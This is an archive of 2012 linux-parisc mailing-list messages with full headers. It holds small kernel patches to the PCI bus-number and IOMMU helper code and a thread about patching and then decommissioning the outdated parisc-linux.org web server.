Original-Received: from acsmt358.oracle.com (acsmt358.oracle.com [141.146.40.158])
	by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id q11MiQFj002406
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 1 Feb 2012 22:44:26 GMT
Original-Received: from abhmt104.oracle.com (abhmt104.oracle.com [141.146.116.56])
	by acsmt358.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id q11MiPMw015307;
	Wed, 1 Feb 2012 16:44:25 -0600
Original-Received: from linux-siqj.site (/10.132.127.19)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Wed, 01 Feb 2012 14:44:25 -0800
X-Mailer: git-send-email 1.7.7
In-Reply-To: <1328136242-17725-1-git-send-email-yinghai@kernel.org>
X-Source-IP: ucsinet21.oracle.com [156.151.31.93]
X-CT-RefId: str=0001.0A090205.4F29C04D.0051,ss=1,re=0.000,fgs=0
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1247419 gmane.linux.kernel.pci:13341 gmane.linux.kernel.cross-arch:12136 gmane.linux.ports.parisc:4131
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1247419>

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    2 ++
 drivers/parisc/lba_pci.c |    3 +++
 2 files changed, 5 insertions(+), 0 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 7ff10c1..3f2e203 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -1014,7 +1014,9 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_insert_busn_res(bus, dino_current_bus, 255);
 	bus->subordinate = pci_scan_child_bus(bus);
+	pci_bus_update_busn_res_end(bus, bus->subordinate);
 
 	/* This code *depends* on scanning being single threaded
 	 * if it isn't, this global bus number count will fail
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index d5f3d75..b58bf8b 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1531,6 +1531,9 @@ lba_driver_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_insert_busn_res(lba_bus, lba_dev->hba.bus_num.start,
+				lba_dev->hba.bus_num.end);
+
 	lba_bus->subordinate = pci_scan_child_bus(lba_bus);
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
-- 
1.7.7


From - Thu Nov 08 21:07:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cong Wang <xiyou.wangcong@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [Patch] parisc: include <linux/prefetch.h> in drivers/parisc/iommu-helpers.h
Date: Fri,  3 Feb 2012 15:34:16 +0800
Lines: 27
Approved: news@gmane.org
Message-ID: <1328254456-15967-1-git-send-email-xiyou.wangcong@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1328254485 15245 80.91.229.3 (3 Feb 2012 07:34:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 3 Feb 2012 07:34:45 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	WANG Cong <xiyou.wangcong@gmail.com>,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 03 08:34:39 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RtDfL-00044t-Hv
	for glpp-linux-parisc@plane.gmane.org; Fri, 03 Feb 2012 08:34:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752010Ab2BCHej (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Feb 2012 02:34:39 -0500
Original-Received: from mail-pw0-f46.google.com ([209.85.160.46]:42396 "EHLO
	mail-pw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751322Ab2BCHei (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Feb 2012 02:34:38 -0500
Original-Received: by pbdu11 with SMTP id u11so2691205pbd.19
        for <multiple recipients>; Thu, 02 Feb 2012 23:34:38 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer;
        bh=Z8GF39B9xOlWH6pmqsMAlvvqCQ0mucYK0jBLwm20jO8=;
        b=WqxwihRWJ0P3forOnCWtBtmjlqD5LxhBf3pqEscEsdRAkub4qrRP1TVd7HtlpQlyWO
         sD9nOBezL+PA/HBwm2AWy76Eunjy2+tki8q6gAP86JNDgu0w4DgZsXtY2LZr1n9Ctg56
         +AlX05nnM033m9BN+Y3S7T1T6SxOF2iJACxF8=
Original-Received: by 10.68.75.233 with SMTP id f9mr7654649pbw.10.1328254477951;
        Thu, 02 Feb 2012 23:34:37 -0800 (PST)
Original-Received: from cr0.redhat.com ([180.129.255.55])
        by mx.google.com with ESMTPS id r9sm11133602pbi.6.2012.02.02.23.34.31
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 02 Feb 2012 23:34:37 -0800 (PST)
X-Mailer: git-send-email 1.7.7.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4132 gmane.linux.kernel:1248240
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4132>

drivers/parisc/iommu-helpers.h:62: error: implicit declaration of function 'prefetchw'
make[3]: *** [drivers/parisc/sba_iommu.o] Error 1

drivers/parisc/iommu-helpers.h needs to #include <linux/prefetch.h>
where prefetchw is declared.

Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Signed-off-by: WANG Cong <xiyou.wangcong@gmail.com>

---
diff --git a/drivers/parisc/iommu-helpers.h b/drivers/parisc/iommu-helpers.h
index a9c46cc..460aed9 100644
--- a/drivers/parisc/iommu-helpers.h
+++ b/drivers/parisc/iommu-helpers.h
@@ -1,3 +1,5 @@
+#include <linux/prefetch.h>
+
 /**
  * iommu_fill_pdir - Insert coalesced scatter/gather chunks into the I/O Pdir.
  * @ioc: The I/O Controller.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: parisc-linux.org issue
Date: Sat, 4 Feb 2012 11:52:16 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20120204165216.GA15288@riverrock.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1328374850 21157 80.91.229.3 (4 Feb 2012 17:00:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 4 Feb 2012 17:00:50 +0000 (UTC)
To: debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 04 18:00:50 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rtiyn-0003qB-JR
	for glpp-linux-parisc@plane.gmane.org; Sat, 04 Feb 2012 18:00:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751504Ab2BDRAs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Feb 2012 12:00:48 -0500
Original-Received: from mail.riverrock.org ([173.8.234.158]:43553 "EHLO
	mail.riverrock.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750847Ab2BDRAs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Feb 2012 12:00:48 -0500
X-Greylist: delayed 511 seconds by postgrey-1.27 at vger.kernel.org; Sat, 04 Feb 2012 12:00:48 EST
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.riverrock.org (Postfix) with ESMTP id 3460E59C003;
	Sat,  4 Feb 2012 09:52:17 -0700 (MST)
Original-Received: by localhost (Postfix, from userid 16602)
	id DA06A607C5; Sat,  4 Feb 2012 11:52:16 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4134 gmane.linux.debian.ports.hppa:6763
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4134>


Hey I just got notified that parisc-linux.org has a vulnerable apache
server.  I did an apt-get upgrade but it didn't upgrade the server,
and the vulnerability was fixed in lenny's apache2 but not apache "1".

So one question is whether (and who) to move that server to apache2.

A bigger question is what to do since lenny is at end of life.

And who's watching this machine?

	-p
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: [PATCH 10/24] PCI, parisc: Register busn_res for root buses
Date: Sat,  4 Feb 2012 22:57:54 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <1328425088-6562-11-git-send-email-yinghai@kernel.org>
References: <1328425088-6562-1-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1328425227 26446 80.91.229.3 (5 Feb 2012 07:00:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 5 Feb 2012 07:00:27 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	Dominik Brodowski <linux@dominikbrodowski.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Greg Kroah-Hartman <gregkh@suse.de>, linux-pci@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
	Yinghai Lu <yinghai@kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Jesse Barnes <jbarnes@virtuousgeek.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 05 08:00:24 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rtw5H-0005gS-Re
	for glpp-linux-parisc@plane.gmane.org; Sun, 05 Feb 2012 08:00:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754945Ab2BEHAL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Feb 2012 02:00:11 -0500
Original-Received: from rcsinet15.oracle.com ([148.87.113.117]:61693 "EHLO
	rcsinet15.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754871Ab2BEHAJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Feb 2012 02:00:09 -0500
Original-Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237])
	by rcsinet15.oracle.com (Switch-3.4.4/Switch-3.4.4) with ESMTP id q156xkDa032258
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sun, 5 Feb 2012 06:59:47 GMT
Original-Received: from acsmt358.oracle.com (acsmt358.oracle.com [141.146.40.158])
	by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id q156xix1026168
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sun, 5 Feb 2012 06:59:44 GMT
Original-Received: from abhmt111.oracle.com (abhmt111.oracle.com [141.146.116.63])
	by acsmt358.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id q156xhfg022053;
	Sun, 5 Feb 2012 00:59:43 -0600
Original-Received: from linux-siqj.site (/75.36.245.87)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Sat, 04 Feb 2012 22:59:42 -0800
X-Mailer: git-send-email 1.7.7
In-Reply-To: <1328425088-6562-1-git-send-email-yinghai@kernel.org>
X-Source-IP: acsinet21.oracle.com [141.146.126.237]
X-Auth-Type: Internal IP
X-CT-RefId: str=0001.0A090203.4F2E28E4.000C,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4135 gmane.linux.kernel.pci:13406 gmane.linux.kernel:1248910 gmane.linux.kernel.cross-arch:12179
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4135>

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    2 ++
 drivers/parisc/lba_pci.c |    3 +++
 2 files changed, 5 insertions(+), 0 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 7ff10c1..3f2e203 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -1014,7 +1014,9 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_insert_busn_res(bus, dino_current_bus, 255);
 	bus->subordinate = pci_scan_child_bus(bus);
+	pci_bus_update_busn_res_end(bus, bus->subordinate);
 
 	/* This code *depends* on scanning being single threaded
 	 * if it isn't, this global bus number count will fail
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index d5f3d75..b58bf8b 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1531,6 +1531,9 @@ lba_driver_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_insert_busn_res(lba_bus, lba_dev->hba.bus_num.start,
+				lba_dev->hba.bus_num.end);
+
 	lba_bus->subordinate = pci_scan_child_bus(lba_bus);
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
-- 
1.7.7

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: decommissioning parisc-linux.org
Date: Wed, 8 Feb 2012 07:33:47 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20120208143347.GB22903@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1328712055 21633 80.91.229.3 (8 Feb 2012 14:40:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Feb 2012 14:40:55 +0000 (UTC)
Cc: taggart@lackof.org, bame@riverrock.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 08 15:40:54 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rv8hY-000242-Cp
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 Feb 2012 15:40:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754133Ab2BHOkv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Feb 2012 09:40:51 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:50288 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753283Ab2BHOkv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Feb 2012 09:40:51 -0500
X-Greylist: delayed 421 seconds by postgrey-1.27 at vger.kernel.org; Wed, 08 Feb 2012 09:40:51 EST
Original-Received: from fluid.dannf (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id BD2C133E001C;
	Wed,  8 Feb 2012 07:33:47 -0700 (MST)
Original-Received: by fluid.dannf (Postfix, from userid 1000)
	id 84595D318B; Wed,  8 Feb 2012 07:33:47 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.3 at complete.lackof.org
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4136
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4136>

As Paul noted[1], parisc-linux.org was running a vulnerable
apache which got the attention of HP's security audit team. I've been
doing most of the maintenance of the OS on this machine for a while,
but that has just meant apt-get upgrading when cron-apt told me to for
a few years. Turns out apache-ssl was obsolete (an etch version!), so
no amount of upgrading was going to fix that.

At this point I've removed apache-ssl. I tried installing apache2 to
see if any web pages would magically work - it didn't, so right now
the website is 404 farm :( I didn't spend much time trying to handle
that since.....

parisc-linux.org is running the last stable release of Debian that
supported hppa ('lenny'), and its life is now expired. As such, I
think we really need to migrate the site to another maintained
distribution and/or architecture. I'm willing to help migrate services
for the next month or so - let's just say 2012.03.14 for a good round
(heh) date - after which I plan to halt this system and let HP know
the hardware can be put to other uses. From what I can tell, we
originally installed this system almost exactly 9 years ago - ah,
rememember its predecessor dsl2? Good times. Anyway -

*************************************************************************
*** If you need any data off this machine, now's the time to grab it! ***
*************************************************************************

If you'd like to take over longterm hosting the website/domain, please
get in touch with taggart or I. If you'd like to continue using the
machine and/or HP's network to do the hosting, I can probably find a
contact for you there - though I wouldn't bet on it.

In the meantime, if anyone wants to get the website working on apache2
for the remainder of the system's lifetime, please let me know.

[1] http://www.spinics.net/lists/linux-parisc/msg03946.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Wed, 8 Feb 2012 23:16:16 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
References: <20120208143347.GB22903@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: dough.gmane.org 1328739400 12102 80.91.229.3 (8 Feb 2012 22:16:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Feb 2012 22:16:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, taggart@lackof.org,
	bame@riverrock.org
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 08 23:16:38 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RvFob-0002Ke-OQ
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 Feb 2012 23:16:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753102Ab2BHWQh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Feb 2012 17:16:37 -0500
Original-Received: from mail-iy0-f174.google.com ([209.85.210.174]:65274 "EHLO
	mail-iy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752501Ab2BHWQg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Feb 2012 17:16:36 -0500
Original-Received: by iacb35 with SMTP id b35so1507910iac.19
        for <linux-parisc@vger.kernel.org>; Wed, 08 Feb 2012 14:16:36 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type;
        bh=ZOBe9on0N1Dne8oX5+scLP0cuH/9uSKLb6uU75ZrEMM=;
        b=PcyGafdG/61Fzzt1fDxviOvqUTaQFWbb1QZnVfd4hx9pzgRoC6b3FAN0Dqw0/XE6xS
         tmfm4AgaQq/y6ppfWkv7tboi2yr1BsDDeLTR7hRSK2Jahy1p42ohOxiAOXDAmWvVs2A1
         sdK8dHOKhCHPqSA1+ZW2VoWiSLYtDIDMeW2QY=
Original-Received: by 10.42.107.9 with SMTP id b9mr23643916icp.23.1328739396085; Wed,
 08 Feb 2012 14:16:36 -0800 (PST)
Original-Received: by 10.42.189.6 with HTTP; Wed, 8 Feb 2012 14:16:16 -0800 (PST)
In-Reply-To: <20120208143347.GB22903@dannf.org>
X-Google-Sender-Auth: 9y4uOtR1_-hyEK2weRSu9PbVuq4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4137
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4137>

On Wed, Feb 8, 2012 at 3:33 PM, dann frazier <dannf@dannf.org> wrote:
> As Paul noted[1], parisc-linux.org was running a vulnerable
> apache which got the attention of HP's security audit team. I've been
> doing most of the maintenance of the OS on this machine for a while,
> but that has just meant apt-get upgrading when cron-apt told me to for
> a few years. Turns out apache-ssl was obsolete (an etch version!), so
> no amount of upgrading was going to fix that.
>
> At this point I've removed apache-ssl. I tried installing apache2 to
> see if any web pages would magically work - it didn't, so right now
> the website is 404 farm :( I didn't spend much time trying to handle
> that since.....
>
> parisc-linux.org is running the last stable release of Debian that
> supported hppa ('lenny'), and its life is now expired. As such, I
> think we really need to migrate the site to another maintained
> distribution and/or architecture. I'm willing to help migrate services
> for the next month or so - let's just say 2012.03.14 for a good round
> (heh) date - after which I plan to halt this system and let HP know
> the hardware can be put to other uses. From what I can tell, we
> originally installed this system almost exactly 9 years ago - ah,
> rememember its predecessor dsl2? Good times. Anyway -
>
> *************************************************************************
> *** If you need any data off this machine, now's the time to grab it! ***
> *************************************************************************
>
> If you'd like to take over longterm hosting the website/domain, please
> get in touch with taggart or I. If you'd like to continue using the
> machine and/or HP's network to do the hosting, I can probably find a
> contact for you there - though I wouldn't bet on it.
>
> In the meantime, if anyone wants to get the website working on apache2
> for the remainder of the system's lifetime, please let me know.

Hi Dann,

What's the status of @p-l.o email addresses? I'm receiving a fair bit
of email on this domain, and I think others do too, if we need to move
on elsewhere it'd be nice to have a little headstart... ;)

Thanks

T-Bone


-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Wed, 8 Feb 2012 18:47:45 -0500
Lines: 99
Approved: news@gmane.org
Message-ID: <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl>
References: <20120208143347.GB22903@dannf.org> <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1328744889 17682 80.91.229.3 (8 Feb 2012 23:48:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Feb 2012 23:48:09 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org,
	taggart@lackof.org, bame@riverrock.org
To: Thibaut VARENE <varenet@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 09 00:48:07 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RvHF7-00036r-7r
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Feb 2012 00:48:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757701Ab2BHXsE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Feb 2012 18:48:04 -0500
Original-Received: from blu0-omc4-s30.blu0.hotmail.com ([65.55.111.169]:17960 "EHLO
	blu0-omc4-s30.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757797Ab2BHXsD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Feb 2012 18:48:03 -0500
Original-Received: from BLU0-SMTP55 ([65.55.111.135]) by blu0-omc4-s30.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 8 Feb 2012 15:48:02 -0800
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP55.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 8 Feb 2012 15:48:01 -0800
In-Reply-To: <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 08 Feb 2012 23:48:01.0884 (UTC) FILETIME=[180FF1C0:01CCE6BC]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4138
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4138>

On 8-Feb-12, at 5:16 PM, Thibaut VARENE wrote:

> On Wed, Feb 8, 2012 at 3:33 PM, dann frazier <dannf@dannf.org> wrote:
>> As Paul noted[1], parisc-linux.org was running a vulnerable
>> apache which got the attention of HP's security audit team. I've been
>> doing most of the maintenance of the OS on this machine for a while,
>> but that has just meant apt-get upgrading when cron-apt told me to  
>> for
>> a few years. Turns out apache-ssl was obsolete (an etch version!), so
>> no amount of upgrading was going to fix that.
>>
